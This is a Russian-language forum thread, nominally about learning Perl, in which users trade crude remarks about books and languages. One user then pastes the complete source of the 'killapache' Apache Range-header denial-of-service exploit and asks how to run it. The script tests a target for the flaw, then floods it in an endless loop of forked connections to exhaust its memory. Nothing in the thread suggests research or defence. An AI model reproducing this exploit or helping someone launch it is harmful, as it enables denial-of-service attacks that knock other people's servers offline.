Изучаем Perl

Предыдущие сообщения
22 марта 2012
#1 Red_Shuhov uid#1582 нашел книжку по изучению perl'а.

В комплекте с книгой идет прога для открытия книги так как она имеет формат "djvu"
линк Добавление комментариев в этой теме разрешено.
11:25:20 1
#2 Naiki_ uid#1926 флудерВо первых тебе чё постить больше не чего кроме этого говна?Во вторых книги оля справочник хуёвые,по ним учиться сложно и нахуй не нужно. 11:31:56 0
#3 Red_Shuhov uid#1582 какие твое предложения по изучению этого языка ? 11:34:27 0
#4 Naiki_ uid#1926 флудерНайти книгу типа пошаговая инструкция это в принципе нужно в любом языке,справочник по нему трудно учиться да и нахуй не нужно,он нужен что бы уяснять неточности а для этого в принципе и учебник подойдет.Учебник это там где есть задачки и объяснение как всё пилить. 11:42:41 0
#5 Naiki_ uid#1926 флудерПример таких книг Microsoft Visual Basic 6.0 для профессионалов или Песни о паскале. 11:45:30 0
#6 MyP3uk uid#1395 Перед Перлом нормальные люди Питон учат, так намного удобнее ;) 12:17:12 0
#7 Naiki_ uid#1926 флудерНормальные люди питон вообще не учат ибо нах не нужно.Нет ну если конечно эти люди не собрались делать mass efect 3 я думаю мы тут не для игр. 23:09:29 0
#8 MyP3uk uid#1395 Ну у каждого своё мнение, я лично считаю что Питон поудобней будет чем Перл, причём намного, у Питона хотя бы код почесть можно (: 23:19:39 0
#9 Naiki_ uid#1926 флудерЭто вообще не те языки которые стоит учить,есть языки для вирусов ботнетов и прочего софта а есть языки которые пытаються использовать для этого,питон правда для мобилок нормально. 23:52:32 0
25 марта 2012
#10 VIP18 uid#68 при запуске эксплоитов с перла, пишет ошибки про бэкслеши, заебался искать инфу по этому поводу, чё уже только не делал... мб подскажите как правильно и точно всё включать? 22:05:22 0
#11 MyP3uk uid#1395 сорс в студию 22:25:37 0
#12 VIP18 uid#68 Active Perl 5.12.0 Build 1200 23:04:52 0
#13 MyP3uk uid#1395 Ггы зачем мне это ???
Ты кидай исходники сплоитов (:
23:52:13 0
#14 VIP18 uid#68
Вот
#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
use IO::Socket;
use Parallel::ForkManager;
sub usage{
	print "Apache Remote Denial of Service (memory exhaustion)\n";
	print "by Kingcope\n";
	print "usage: perl killapache.pl <host> [numforks]\n";
	print "example: perl killapache.pl www.example.com 50\n";
}
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
	 
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
	$p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next; 	
	
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
	print "host seems vuln\n";
	return 1;	
} else {
	return 0;	
}
}

if ($#ARGV < 0) {
	usage;
	exit;	
}

if ($#ARGV > 1) {
	$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
	print "Host does not seem vulnerable\n";
	exit;	
}
while(1) {
killapache();
}
Знаю что строчка, это и есть то что хочет чтоб я ввёл скрипт
usage: perl killapache.pl <host> [numforks]\n
07:14:24 0
#15 VIP18 uid#68 мне надо последовательность запуска перла и скриптов правильную знать 07:16:07 0
Следующие сообщения
*Ник: Проверка уникальности... Если вы уже зарегистрированы, авторизуйтесь.
*Сообщение:
  Загрузка...